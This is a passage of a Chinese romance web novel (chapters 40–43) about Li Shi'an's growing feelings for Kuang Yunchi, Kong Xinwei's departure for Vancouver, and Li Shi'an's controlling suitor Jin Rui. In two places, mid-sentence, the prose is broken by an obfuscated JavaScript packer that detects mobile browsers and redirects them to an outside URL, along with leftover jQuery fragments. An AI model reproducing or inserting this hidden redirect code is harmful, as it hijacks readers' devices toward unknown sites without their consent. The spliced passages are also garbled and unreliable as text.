孔心薇嘀咕,“因为你说话怪难听的。” 她撇过脸去,眼角终于控制不住溢出一滴泪,泪珠倒映着不断后退的昏暗路灯。 *** 那晚,孔心薇给况允驰发了一条消息。 [明天下午有时间吗?我想和你单独聊聊。] 40. 橘子 许书妍给李十安打电话,“今天下午去露营,去不去?” 李十安懒惰地躺在床上,甚至不愿意翻身。窗帘被阳光晒成亮黄色,好像窗外着火一般热烈。 青山似乎没有秋天,夏天赖着不肯离开。青山的十一月不是温和凉爽,而是夺目刺眼,根本没有冬天的意思。 她拒绝得干脆,“不去,好晒。” 许书妍劝慰,“哪里晒了?入冬了,看着太阳大,温度其实并不高,没什么紫外线的。” 李十安拖长了声音,“嗯……” 许书妍又劝,“挺热闹的,周森组的局,一大群朋友,好像还有况允驰。” 李十安终于舍得从床上坐起来,眯着眼感受太阳温度,犹豫了下,应道,“好吧。” *** 露营的地点是在江边的草坪上,前方是碧绿江水,后边是月照山峰。 他们在草坪上扎了几个帐篷,摆放木桌和折叠凳,堆了几桌零食小吃。 一伙人去江边排成一排钓鱼,一伙人去附近甘蔗林买甘蔗,一伙人去山坡下的花田里拍照。 李十安躲在帐篷里,夹起一个小火炉,慢慢烤玉米、红薯、土豆。 烤了没多久,李十安嫌热,端着折叠凳向一旁挪了一段距离。 谁家的十一月还会这么热,还会有这么大的太阳,只穿针织外套也能闷出些许汗水。 李十安脱掉了外套,剩一件藕粉色绸面衬衣。她给自己倒上一杯茉莉花茶,撒一把瓜子,惬意地边嗑瓜子边观察四周。 江边钓鱼,甘蔗买卖,花田拍照,人影重重,随处热闹。 却唯独没有看见况允驰。 周森扛着一根三米长的甘蔗,脚步轻巧地走来,坐在李十安身边。李十安又往旁边再挪了一小段距离,给周森腾位置。 李十安问周森,“况允驰呢?不是说他也要来吗?” 周森看了眼手机时间,“应该快到了吧。” 拿起刀,砍下了一截甘蔗。周森考虑到李十安不方便吃,于是贴心地用牙齿一条一条撕去甘蔗皮,撕得干净。 他把甘蔗递给李十安,“喏,第一根给你。” 李十安尴尬笑了两下,犹豫着,不知道该不该接。 接吧,那是周森用牙齿咬的,有点抗拒。不接吧,那又是周森亲自用牙齿咬的,显得不领情。 庆幸许书妍及时赶来,一巴掌拍开周森的甘蔗,“全是口水,谁吃。” 周森气愤道,“过分了啊。” 许书妍径直坐到周森与李十安之间,把她买来的一袋甘蔗摊开。她买的甘蔗不仅削好皮,甚至切成了小块,一口一块。 周森好奇,“你在哪家买的?为什么对你服务这么好?” 许书妍耸肩,“可能因为我漂亮吧。” 周森小声骂了一句,“要点脸。” 铃声响起,周森拿起手机。李十安遥遥瞄了一眼来电显示,好像是况允驰。周森接通电话,一边往外走,越走越远。 车没办法开到草坪上,只能停在山坡上的路边。 周森带着另外两个男生爬上小山坡,与况允驰汇合。 他们从后备箱里拿出烧烤架和配套工具,一人搬一些,原路返回草坪。 周森走在最前,况允驰走在最后。 天热起来,阳光从柠檬黄变为橘子黄。 况允驰穿的一件咖色美式工装衬衫,宽松版式,袖口被挽上,小臂肌肉结实,线条流畅,青筋凸起。手腕上戴着一块黑武士手表。 李十安向那边挥了挥手,“况!” 兴许是距离太远,况允驰并没有察觉,没有给予回应。 李十安站了起来,准备向那边走去。 刚走没两步,况允驰放下一箱子的烧烤工具,和周森打了声招呼,又原路返回,走向山坡上的马路边。 他的身影在草地山坡上穿行。只专注于脚下的路,没有看见试图向他靠近的李十安。 李十安走到周森身边,停下了脚步。她问道,“况允驰又要去哪里?” 周森弯腰整理烧烤箱,“说是心薇找他有事,他得去心薇那边。” 李十安愣在原地,看着况允驰的灰色轿车绕着盘山公路,消失在江边一片黄色银杏林里。 许书妍跟了来,伸出手,在李十安眼前晃动,“你在想什么呢?” 李十安喃喃,“我在想况允驰和孔心薇到底要去哪里。” 许书妍疑惑,“你没事想他俩干什么?” 李十安惊觉。对啊,她没事想他俩干什么?跟她有什么关系?她回过神,咋舌道,“就那么随便一想。” 管他们干什么呢? 李十安弯下腰,帮忙收拾烧烤架,觉得不管他俩准备做什么,都没有此刻等着吃烧烤重要。 *** 孔心薇约况允驰在一家私房餐厅见面。两人坐在木质餐桌旁,面对面。 餐桌边的石台上,摆放着石胚状的花瓶,几枝咖色枝桠伸展于空中。花瓶左侧有着棕色香薰与白色蜡烛。浓郁的法式油画风格。 孔心薇喝一口百香果汁,看向窗外,提醒况允驰,“喏,你心上人来了。” 况允驰顺着孔心薇示意的方向,侧头望去。 孔心薇扑哧一声笑了出来,“还真以为她来了?” 恶作剧。耍他,也耍了她自己。 况允驰声音冰冷,“有意思么。” 似乎是叹息了一声,孔心薇喃喃自语,“没意思。人生本来就没什么意思。” 气氛往下降低了一度,凝重,叫人难受。 孔心薇夹一块咖喱虾,咬掉虾尾巴,慢慢悠悠说道,“我要走了,去温哥华。” 况允驰有些意外,“什么时候?” “这个月中旬。” “这么快。” 很突然的消息,况允驰一时之间也不知道该说什么,短暂沉默。 冷场。孔心薇给自己搭台阶,解释道,“是伯伯让我去的,去那边发展,如果合适的话,应该就会留下来。” 其实早前在意大利的时候,贺谦就多次提起过让孔心薇去温哥华的事情,孔心薇每一次都会拒绝。 因为况允驰不在温哥华。孔心薇不想去没有况允驰的地方。 孔心薇也曾经旁敲侧击试探况允驰,用开玩笑的口吻,问他愿不愿意跟她一起去温哥华。 况允驰拒绝得很干脆,甚至没把孔心薇说的话当回事。他估计早就不记得关于温哥华的提议了。 他不能跟她走,所以她只能留下来,留在青山。 只是现在看来,她留下来,也没有多少意义了。 况允驰说道,“在那边伯父也会想办法照顾你的。” 孔心薇嚼了一块煎香菇,像嚼蜡。她是一个需要被悉心照顾的小女生,但他好像迫不及待地想把她还给她的家长。 她回忆起往昔,“真的特别怀念在意大利的时光……你照顾我的那些日子。” 况允驰舀酸汤,顿了下,再继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14704085|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舀一小勺。 “你像哥哥一样照顾我这个妹妹。”孔心薇笑着,“你知道吗?其实我的朋友都在开玩笑,说什么好朋友的都是幌子,我和你不止于此。” 况允驰纠正,“心薇,我是真的单纯把你……” “单纯把我当作朋友,你说过的,好多次。”说得她已经不想再听了。 眼神灰暗。这就是孔心薇一直不敢向况允驰挑明爱恋的原因。 只要有一点点苗头,况允驰就会毫不犹豫地熄灭。 她哪里受得了这样的打击。 她有时候挺恨他的。人人都知道的好友暧昧游戏,他只要顺水推舟就行,让一切顺利地水到渠成。 或者,她宁愿他是真的傻瓜直男,不清楚她的暧昧小心思。 只要她坚持不懈地在他身边,总有一天能让他这个傻瓜开窍,品尝到男女暧昧的甜味。 偏偏他太聪明,也太清醒。 他清楚地知道她在以好友名义接近他,他于是坚定不移地和她保持一定的距离,只要她向前迈一步,他就立即后退一步,从不松懈。 孔心薇之前挺贪心,总会期望未来某一天,她能突破况允驰心里那道防备,跨出关键的一步。 然而回到青山后,她的期望变成了妄想,走到了破碎的边缘。 她和他的关系,不仅没能变得密切,反倒愈发冰冷沁人了。 “我现在反倒希望,我们能够维持之前那种关系,起码你还能在我身边,还能照顾我。可回到青山后,你对我却一天比一天冷淡。”孔心薇说这些话显得艰难,但她仍然抬起头来,直视况允驰,“是因为李十安吗?” 况允驰立即否认,“这是我们之间的事,和十安没有关系……” “不用着急维护她,我又不怪她。”孔心薇极其无奈地笑了一下,眼角有了一滴湿润,“我只是很羡慕她。” 孔心薇趁着把话说开的机会,壮着胆子猜测况允驰的想法,“你当初为什么决定去意大利?” 况允驰沉默着,喝了一口百香果汁,没有给予回应。 沉默就是回答。 “明白了。”孔心薇喃喃,“所有一切都明白了。” 大致能够猜测出况允驰的心事了。 刚开始的那段时间,况允驰整天困在实验室、食堂、公寓三个地方,除此之外,哪儿也不去。生活作息规律而枯燥,也不嫌无聊。 可发现这样更难受后,况允驰有意地强迫自己,努力去和这个世界产生接触。 慢慢的,他偶尔也会参加聚餐、派对、交流会,起码表面上回归到一个正常人。 以为真的回归正常生活了。 结果呢? “你身边……”孔心薇的声音很轻,“换一个人不行么。” 好像是自己往自己胸口开了一枪。孔心薇涨红了脸,两滴眼泪溢出眼眶。 况允驰把纸巾推到孔心薇面前,仍然是沉默以对。 她讨厌他的沉默。她都哭了,可他却连句安慰的话也不肯对她说。心够狠的。 孔心薇抬手背抹掉了眼泪,“我不会再纠缠你了,毕竟我也要脸的。” 她喜欢他,喜欢得都快没有自尊了。努力扬起笑容,即便僵硬,也要做出潇洒的模样。 “今天找你,就是想告诉你,我要走了。”孔心薇笑道,“既然我都要走了,那你能不能最后再答应我一个请求?” 况允驰犹豫着,思忖片刻,最终应允了孔心薇。 “好。” 41. 乐园 孔心薇约况允驰去游乐园玩,想给余生制造一些美好的回忆,也算实现她的小小愿望。 只是她没有想到,他们偏偏会在游乐园里碰见李十安。 是李十安先发现他们的。 李十安往过山车的入口处走,看见况允驰站在红棕石头堆砌的城门下,欣喜地招呼了一声,“况!” “十安?”况允驰说道,“要不要来这边?荫凉。” 晴空万里,太阳刺眼。这几日的太阳总是刺眼的。正是午后,阳光照射的角度过于竖直,照在城门上,只投射出一点窄小的阴影。 况允驰挪到了太阳底下,把阴影留给李十安。 李十安刚走到况允驰身边,孔心薇不知从什么地方冒了出来,叫了一声,“十安?” 孔心薇方才去了趟卫生间,和况允驰约好在过山车入口碰面。 谁料到过山车入口面积大,地形繁杂,叫她找了好一阵。 偶然看见况允驰和李十安在一起,孔心薇急忙赶了过来。 看见孔心薇后,李十安向左侧迈一步腾位置,“来这里挤荫凉。” 孔心薇走到了李十安和况允驰的中间。 她问李十安,“你和朋友一起来的?” “嗯。” “男性朋友?” “嗯……” 孔心薇还没问得足够明白,追着用开玩笑的口吻问道,“来约会?” 李十安急忙否认,“不是的。是那个朋友恰好有两张会员票,今天到期,不来就浪费了。他不想浪费,又一时半会儿找不到人作伴,就让我来了。” 说完也觉得懵了,她竟然解释了那么一大段话,只为了清楚地说明,她和靳瑞之间,目前而言确实只是朋友关系。 孔心薇露出类似起哄的笑意,“唔……” 李十安想要阻止。她觉得很尴尬。 靳瑞来了。他方才去给李十安买遮阳伞,耽搁了些许时候。看到这边热闹,随即赶了过来。 四个人,意外聚到了一起。 李十安充当中间人,给他们做了介绍。这是况允驰。这是孔心薇。这是靳瑞。介绍极其简单明了,只说彼此的名字。 另外三人表面上是礼貌客套的模样,实际在私下里,早已对彼此知晓。 由于有缘碰上,又都准备去玩过山车,碍于面子不便于分开,一行四人便一同前往过山车的入口。 朱红色的过山车宛如一条赤龙,在空中飞舞盘旋。 工作人员拿扩音喇叭念着出场区的规则,“请在选定的座位前耐心等待。” 孔心薇问他们,“选哪排?” 四个人倒是同时做出回答,不过两不相同。 李十安和况允驰应道,“前排。” 孔心薇和靳瑞应道,“后排。” 他们话音落下,感觉气氛怪异。 孔心薇立刻改变了答案,“那我也坐前排。” 靳瑞嘱咐,“十安,去坐后排。” 李十安一时没有应答。抛开现场怪异的气氛不说,她是真心想坐前排。对她而言,坐后排跟没坐有什么区别?毫无价值。 况允驰说道,“她想坐前排,就让她去前面吧。” 孔心薇听见这话,心里堵了一下。她索性抢先一步,挽住李十安的手腕,“那我和十安去坐前排。” 比起况允驰和李十安并排坐的画面,孔心薇宁愿她挨着李十安坐。 两个女生动作敏捷,小碎步跑去第一排坐下。 两个男生还没做出反应,其余的游客已经熙熙攘攘占据好座位,剩下第五排和第八排各空一个。 四个人,被打乱分散。 孔心薇从没坐过过山车前排。她逞一时之快坐到这个位置,临到头来才知道恐惧,整个人懵圈。 李十安坐前排有经验。她帮孔心薇扎好低马尾,固定在身后。再检查安全锁,确认无误。最后安慰孔心薇,叫她别害怕,这玩意特好玩。 结果那一场过山车,虽然充满尖叫,但孔心薇仍觉得这游戏本身,真叫人过瘾刺激。 一场游戏结束,过山车靠岸停稳。 李十安替孔心薇打开安全锁,整理凌乱的发丝。 况允驰走来,扶近一边的孔心薇上岸,再扶远一边的李十安。他声音轻柔,“小心些。” 李十安站稳,拉扯整齐衣摆下方。 靳瑞拿上李十安的随身小包。他没走近他们,隔着一段距离叮嘱,“十安,过来。” 其实并不喜欢这种命令式的口吻。 但如果李十安继续待在原地,也会打扰况允驰和孔心薇约会。 她还没那么没眼力见,于是只好离开原地,走去了靳瑞那边。 他们在过山车处分别,一对人向北走,一对人向南走。 孔心薇恐惧的劲头已经过去,回味起刚才的经历,倒有一种畅快的感觉。她碎碎念。 “我从没坐过前排。” “原来你喜欢坐前排。” “我以后也要坐前排,第一排,还挺好玩。” 况允驰应和着,“嗯。” 他们走到了摩天轮下。 孔心薇兴奋地指着天空,“到了,就是这个。” 摩天轮。情侣都要坐摩天轮的。 他们坐上了摩天轮。 深蓝色的摩天轮是一场永恒绽放的烟花。 摩天轮的另一侧,李十安和靳瑞在水上乐园里,玩冲浪游戏。 坐在橡皮艇上从高空往下俯冲,溅起五米高的浪花,惹场内场外的人群嬉笑尖叫。 游戏结束,靳瑞想要扶李十安走下橡皮艇,指尖刚碰到李十安的手背,李十安条件反射那般缩了回去。 他的指尖在她的手背上被动地有了一小截的滑动摩擦。 动作幅度并不大,但是再细微的动作,在彼此心里都会显得很明显。 有些尴尬。 李十安佯装无事,随意开启一个话题,“这雨衣是不是可以扔了?之后用不上了吧?” 靳瑞面无表情地应道,“嗯,扔了。” 他们脱下雨衣,扔进一旁垃圾桶。并排走在向下的木质楼梯上。 李十安悄悄摸了下手背,刚才被靳瑞的指尖碰到的地方,似乎还残留着些许温度。 她心里也有些惊奇。 诶……这手……怎么……它自己就缩了回去…… 怪不好意思的,掺杂一点点愧疚。 附近正好有卖小食的摊位,李十安嘴馋,跑去摊位前挑选。 她选中了鸡蛋仔。 起先买了两份,一份抹茶的给自己,一份奥利奥的给靳瑞。咬了一口后,觉得实在好吃,李十安又退回去,再买了两份抹茶鸡蛋仔。 靳瑞以为李十安是买来之后慢慢吃的。 他们去路牌前看地图,商议下一步往哪里去。如果继续走 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“头顶。”李十安指回自己的头顶,“呆毛,翘着。” 李十安是用右手指的,方向偏右边一些。况允驰也伸出右手,但没摸到目标。 她纠正,“不是,我俩镜像。” 况允驰换成了左手,摸到呆毛,摁下。但手放开后,呆毛又立起来。 李十安笑道,“它太顽固了。” 她想替况允驰薅呆毛,但又知道这样不合适,只能隔着一段距离继续比划,“可能要用力一些,多薅几下。” 况允驰听话地薅了两下,仍然没有薅下去。 孔心薇不知从什么地方突然蹿了出来,站到李十安和况允驰之间。李十安有意向后退一步。 “有呆毛。”孔心薇抬头仰视况允驰。看了两眼,她直接伸手,要替况允驰抚平头发。况允驰向外一侧,躲开。 “没事,我弄。”况允驰继续压头发。 孔心薇来了脾气,不甘心地贴上去,踮着脚,非要替况允驰压头发。她试图把那撮呆毛压在其他头发下,让呆毛暂时得以被压制,恢复正常。 很靠近的肢体接触。 李十安立即移开视线。 靳瑞在桥下呼道,“十安,过来。” 李十安顺着台阶,走去靳瑞身边,也没来得及和况允驰他们告别。 她问靳瑞,“现在去玩什么?摩天轮?” 靳瑞沉着脸,带着明显的不悦,“不去了,没意思。” 靳瑞带着李十安走了,往出口方向。况允驰看着他们的背影,有些出神。 孔心薇一把夺过况允驰手中的鸡蛋仔,“这是她买的?” 况允驰心不在焉地回答,“嗯,她给你买的。” 孔心薇嘀咕,“那正好我吃。” 咬鸡蛋仔,两袋鸡蛋仔。孔心薇不是一颗一颗掰开来咬的,而是直接一大口咬下去,咬得支离破碎。 鸡蛋仔太干,手边又没有任何可以喝的饮料,孔心薇只有干巴地咀嚼,费力咽下,险些被噎住。 真难受。 孔心薇在这一阵难受中,不得不看清一个事实。 强扭的瓜不甜。 强咽的鸡蛋仔更不甜。 42. 野猫 气温一下子降低了,终于有了冬天的样子。世界仿佛逐渐被蒙上一层白色。 这段时间以来,靳瑞来找李十安的频率越来越高。 有时是找李十安吃饭,有时是找李十安喝下午茶,有时是邀李十安一同参加户外酒会。 参加户外酒会那次,许书妍也在场。李十安是作为靳瑞的女伴参加的,许书妍是代替他们二科主管参加的。 两个女生互相做伴。 李十安和许书妍参加酒会的习惯,是尽量躲避社交,一心专注于吃甜品。 但是碍于户外酒会,人来人往,耳目众多,她们吃得不敢太放肆。 站在木地板上,躲在森林树荫下,保持淑女形象。 李十安微笑着,咬一小口朗姆蛋糕,齿缝间小声埋怨,“好憋屈喔,都不能一口塞进嘴里。” 许书妍同样矜持微笑,用牙签似的木勺咬一丁点朗姆冰淇淋,“可不是嘛,我想吃那个水蜜桃,总不能抱着啃吧?” “我也是呐——” “要是有好心人切成小块就好了。” 她们小声密谋,打水蜜桃的主意。靳瑞忽然朝她们招手。 “十安,过来。” 靳瑞是打算把李十安介绍给他的朋友们。 其实之前也介绍过,但那只是在餐厅里偶然碰上一两个朋友,打声招呼,就顺口介绍了两句。 不像这次一样正式,要特意隆重地将李十安介绍给七八个人。 “这是十安。”靳瑞让李十安站在他身边。 李十安面对着七八个陌生人,只有礼貌微笑。 朋友们说了几句捧场的话。 “传闻中的十安妹妹。” “确实漂亮。” “怪不得某人见一面就念念不忘,喔?” 他们都穿着西装,端着香槟,浑身散发着古龙香气。 李十安分不清谁是谁,也记不住谁说了哪句话。 只当他们是在起哄开玩笑,说过就算了,没当真的。 随后有人问了一句,“既然今天官宣,那晚饭是不是得安排上?” 李十安警觉,“官宣?” 如果没弄错情况的话,截止目前,李十安和靳瑞正处在互相接触的阶段。 确实是比朋友要往上一些,但也绝对没有到达情侣的关系。 官宣的意思是,两个人已经确定了关系。 确定关系了吗?李十安一头雾水。是她漏过了什么重要步骤吗? 她疑惑地看向靳瑞。 靳瑞没有看她,而是一直看着他的朋友们。 “晚饭少不了你的。”靳瑞开玩笑,“先叫一声嫂子。” 李十安有些被吓到,立即否认,“我不是。” 但他们没听她的否认。 那人配合地响亮叫了一声,“嫂子。” 李十安重复,“我不是。” 靳瑞伸手揽着李十安的肩膀。 隔着杏色呢大衣,李十安也似乎感受到靳瑞的温度。 她条件反射地想要挣脱,靳瑞却用了更大的力气束缚住。 那人夸张地夸了一句,“哥哥嫂嫂真般配。” 李十安不由得提高了音量,“我不是!我还没答应的。” 毕竟有这么多人在场,李十安的声音只是提高了些,语气还是客套的,维持着体面。 她不想在众人面前闹尴尬,成为别人口中的笑话。 靳瑞笑道,“看吧,把你们嫂子弄害羞了。” 他用力让李十安更加靠近,李十安反而更想反驳,暗暗挣了几下,但是没能挣脱。 一只被困住的金丝雀。 许书妍于心不忍,一把拽住李十安的胳膊,把李十安拽出靳瑞的怀抱,拉到她身边。 她故作严肃,“别抢啊,十安是我的。” 那些个朋友笑道,“美女,不带这么开玩笑的呐。” 许书妍故意傲气搭话,“她心仪的是我。”许书妍转而对靳瑞说道,“说真的,我赶时间,十安得马上送我去机场。” 今天按照安排,许书妍得去武汉出差,今晚的航班。 这次酒会开始之前,许书妍跟靳瑞提过一句,户外酒会结束后,李十安得送她去机场。 现在户外酒会还没结束,但许书妍感觉已经到了不得不走的时候了。 *** 去往机场的路上,李十安回想起刚才的场景,竟有一种心有余悸的心态。 印象中的靳瑞,明明是温柔体贴的模样。 他会提前在下雨天为她准备雨伞,会记得她不喜欢吃的食物,会在节假日送她一些小惊喜。 除此之外,靳瑞还有一个最大的特点,是说话留有余地。 他送她咖啡,说是买一赠一喝不完才送的。他请她去游乐园或者看话剧,也说是多了两张票不想浪费才去的。 话从不说满,意图从不挑明。 说句实在的,比起那种直白的追求,这样含蓄的暧昧,能让李十安没有那么大的压力,也跟舒心一些。 本来按照这样循序渐进的模式,相处得好好的。 怎么最近这段时间,感觉靳瑞像是忽然变了一个人。 变得……进程推得特别快。 许书妍也察觉到靳瑞的异样,“靳瑞今天那意思,是在向你表白吧?” “应该是吧。”李十安开着车,“那么突然,吓我一跳。” 一种很怪异的感觉。 之前靳瑞循序渐进,李十安能够接受,觉得继续发展下去也不错。 可现在靳瑞忽然一下捅破这层薄纸,李十安竟然是下意识的拒绝。 许书妍想起那副模样,觉得好笑,“但你否认得也真够干脆的。” “我也没想到,条件反射就给否认了。” 李十安也想不明白,她怎么会有出乎意料的反应。 按理说暧昧那么久的对象,终于当着众人的面宣示主权,她应该高兴才对。 但她当时不仅高兴不起来,反而有些生气。还是努力克制才避免当场发脾气的。 许书妍猜测,“是因为事发突然,你还没准备好么?” “应该是吧。” 许书妍神秘兮兮,压低声音,“说点悄悄话,你想不想答应他?” “呃……”李十安迟疑,“没想好,需要点时间。” 许书妍随手拿过塞在扶手箱里的一包辣条,撕开,吃得津津有味。 吃完一包辣条,收好垃圾,擦干净嘴。 整个过程花费大约五分钟。 她又问,“现在呢?想好了吗?” 李十安笑道,“没有!哪有这么快。” 许书妍也笑了。她拧开一瓶龙井,递给李十安。李十安一中午没喝水,一口气喝下半瓶。 “其实算起来,靳瑞条件真的挺好的,”许书妍分析,“有钱有颜有身材,硬件条件是顶配。关键在这段关系里,还是他主动追求的你。” 李十安赞同许书妍的话,“确实,理论上来讲,他是一个满分选择。” “那你为什么还在纠结?” 李十安有一种郁闷的情愫涌上心头,“如果他早几个月向我告白,我肯定会答应的。但是现在……” 现在有了变数。不知道这个变数隐藏在哪里,但李十安确实能够感受到它。 “可能不会答应他。”李十安说,“因为总觉得心里不舒服。” 许书妍不明白,“怎么个不舒服法?” “就是……”李十安试图描述,却发现自己没办法清晰地描述出来,“说不清楚,感觉有什么东西在阻止我。” “邪乎。”许书妍抱了下双臂,猜测道,“是不是因为他对你态度不好?” 李十安解释,“他对我态度挺好的。”想了想,又补充一句,“以前态度挺好,现在态度……一般。” 以前的靳瑞温柔绅士,时刻照顾李十安的感受。 可现在的靳瑞变了模样,对李十安的说话语气,总是简短有力。 十安,过来。 十安,不许去。 十安,不吃这个。 十安,别再穿这身衣服。 十安,穿高跟鞋。 这不是暧昧男女的交谈,这是男性对女性的命令。 想到这里,李十安心里翻涌一阵烦闷,“本来上班就得听领导命令,怎么下班了还得听他命令,烦不烦。” 许书妍附和,“烦。” 李十安笑了下,随后变得闷闷不乐,面色逐渐凝重。 看样子,可能真的要重新考虑下她和靳瑞的关系了。 车里闷热,许书妍打开车窗透气。 但轿车在快速路上行驶,划破的强劲的风让车窗震动不停,响声唬人。 许书妍又关上了窗,调节空调换气。 想了想,许书妍对李十安分析道,“算起来,你要真和靳瑞好上了,也不合适。” “为什么?” “他是靳瑞医疗,我们兄弟公司是景和医疗,两个是竞争对手。” 李十安愣了下,侧头问道,“我难道是什么了不起的商业棋子吗?”她的选择,会影响两个公司的战略布局吗? 说完这话,两个人都笑了,觉得这种身份听起来,确实夸张搞笑。 许书妍调整座椅,让靠背更倾斜,一双腿直溜溜伸长。她拿出手机回微信。 方才还笑着,回微信过程里逐渐拉起脸来。 李十安用余光瞄一眼,“怎么了?” “我们科那个新人,特别奇葩。”许书妍眉头紧皱,“她刚来没多久,就向我打听你的事。” 李十安惊讶,“她认识我?” 许书妍摇头,“应该不认识,道听途说罢了。”她把身体坐直了一些,“她问得特直白,直接问我你是不是结过婚。” “那你怎么回答?” “我说对,十安和我结的婚。后来双方父母接受不了,又离了。” 李十安被逗得笑不停。想起曾经结婚的事,李十安一直觉得那没什么好隐瞒的。 “其实直说也没什么,”李十安说心里话,“结婚又离婚,这个年代,不是挺正常的么。” “正常是一回事,遭人议论又是另一回事。”许书妍碎碎念,“直说是没什么,但是不说的话,会省很多麻烦。” 许书妍对此深有体会。楼下办公室一个女同事的老公婚内出轨,一群人凑上去看热闹,甚至贴脸开大,一个接一个的问题抛出来。 “什么时候发现的?” “小三多大?” “财产转移了嘛?” “孩子知道吗?” “他们怎么勾搭上的?” “你老公怎么说?” 许书妍在一旁听得头痛。 这些隐私本来可以不用回答的。 许书妍担心一单暴露,李十安也会陷入类似的困境,被人一而再再而三地打探。 “什么时候结的婚?” “怎么又离了?” “前夫是谁?” “谁提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726425|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的离婚?” “你们还有联系吗?” 许书妍光是想象,就替李十安难受。她叮嘱李十安,“这事你还是别主动往外说。” 李十安笑道,“我应该没那么缺心眼。”她靠右,减缓速度,进入匝道,盘旋而下。 机场快到了。 *** 况允驰送孔心薇去机场。 孔心薇故作潇洒,“这次是真的要走了,可能我们这辈子都不会再见面了。” 况允驰低声道,“好好照顾自己。” 孔心薇故意逗道,“除了这个,不给我再送几句祝福?” 况允驰说道,“一路顺风,前程似锦。” “嘁——这么官方。”孔心薇嘟囔,“还是我给自己送一个祝福吧。” 她闭上眼睛,双手合十,态度虔诚,“希望我能遇见一个满眼都是我的人。” 就像况允驰满眼都是李十安那样。 孔心薇睁开眼,满心欢喜地等待,以为会收到况允驰送出的类似的祝福。 况允驰却是拿出了兄长的姿态,悉心提醒孔心薇,“人生的期望,与其寄托在某个男人身上,不如寄托在自己身上。你应该为自己而活。” 洒脱地、独立地、充满蓬勃生气地。 孔心薇抬头,不甘心地反问,“你在李十安面前,也能这么洒脱吗?” 况允驰眼波微动,垂下眼睑,一时没有应答。 是呐,他和她的处境,难道不是一样的么。他有什么资格高高在上地说出这句话。 沉默。况允驰随后开口,低声道,“心薇,对不起。” 一种酸胀的感觉一瞬间侵袭而来,孔心薇立刻转过身,仰头,把快要溢出的眼泪憋回去,“干什么啊——说什么对不起。” 真的追究起来,也应该是她说对不起才是吧。 孔心薇深呼吸,调整情绪,转换回自然的笑容,重新面对况允驰。 她有些得意,“从某种角度上来说,我们俩其实是一样的人。对我而言,这也算一种胜利。” 理智、清醒、冷静,这些优良品质,在心动面前一文不值。 况允驰心神不宁,面无表情,是他惯有的模样。 孔心薇嘟囔,“诶——别这么冷淡。”况允驰在她面前,包括在其他人面前,总是这么一副冷淡的神情。她逗他,“就不能笑一下?” “嗯?”况允驰眉头微蹙,脸上的表情和笑容完全不沾边。 猜到了会是这样。 孔心薇语气故作轻快,“想起来,在外面肯定会怀念家乡的味道吧——其实那天在游乐园里,李十安买的鸡蛋仔真的挺好吃的,她对食物确实有眼光。” 况允驰顿了下,低头笑了笑。孔心薇看见了况允驰的笑容。 果然。 孔心薇轻声叹息,“托她的福,见过一个爱笑的你。” 脑海中他的模样更鲜活了一些,哪怕是因为她也没关系。 孔心薇手心向上,四指向内扇了扇,朝况允驰招手,“你低一点,我想跟你说句悄悄话。” “嗯?” “悄悄话,得小声说。”孔心薇撇嘴,“我都要走了,连这点小要求都不能满足?又不是要吃你豆腐。” 犹豫了下,况允驰最终向前迈出半步。 孔心薇嫌不够,“你太高了,再低点头。” 况允驰弯得更低了一些,侧耳倾听。 孔心薇敏捷灵巧,踮起脚尖,在况允驰耳边轻声细语。 *** 李十安送许书妍过安检后,准备返回。 走在机场大厅内,偶然抬头时,李十安看见了不远处的况允驰和孔心薇,他们面对面站着,正在交谈。 李十安的第一反应是上前打招呼。 她一脸笑意地向他们走去,想对他们说上一句,“这么巧,你们也在这里?” 然而她刚走出两步,就看到况允驰弯腰,靠近孔心薇。看到孔心薇踮脚,挨近况允驰。 近在咫尺的亲密。 李十安愣在原地。 笑容凝固,蓦然停下脚步。 这似乎是一个她不方便看到的亲昵场景。好像窥探到了什么隐秘禁忌。 李十安立刻转身,朝着和他们完全相反的方向,快步离去。 不知道为什么,心跳很快,脑子里一团乱麻。 赶回停车场,开车返回,一套动作快捷流畅。 轿车行驶在热闹车流之中。 李十安像是一个开车的机器人,只有四肢在动,凭借肌肉记忆操作。 大脑是一片空白的,像被瞬间抽走了灵魂,躯体完全反应不过来,只剩呆滞。 一只野猫猝不及防地窜出来,在车前闪成一道褐色的影子。 李十安甚至来不及看清野猫的模样,惊叫着被吓得方向盘左右晃动两下,险些撞上后方快速驶过的车。 车喇叭声此起彼伏,刺耳难受。 心跳快要蹦出心脏,直往头顶冲。 她摇摇晃晃地小心靠边,在一处较为宽敞的应急车道上逐渐停下,打开双闪。 这才终于回神了。 她趴在方向盘上,大口喘气。 在这惊险的余悸里,思绪慢慢浮出白雾,四处散落的点缓缓汇聚,最终形成一个清晰的名字。 况允驰。 况允驰。 况允驰。 因为他,她快要不能呼吸。 额头渗出一层细碎的薄汗。 她好像终于意识到了什么。 43. 花茶 李十安发现,倘若心态变了,行为举止也会跟着改变。 她变得不敢面对况允驰。 她去景和生物总部参加峰会,把车停在露天停车场的第一排,拿上笔记本准备下车。 偶然间抬头,看见第三排靠左边一些停放的一辆灰色轿车,特别眼熟。 况允驰的车,以及走下车的况允驰。 李十安车门已经开了一条缝,又立即关好车门。 她下意识地侧身埋下去,脑袋甚至枕着副驾驶座,试图把自己隐藏起来。 然而转念一想,这样会不会过于夸张了? 犹豫片刻,她决定支撑起来,靠在驾驶座的椅背上。 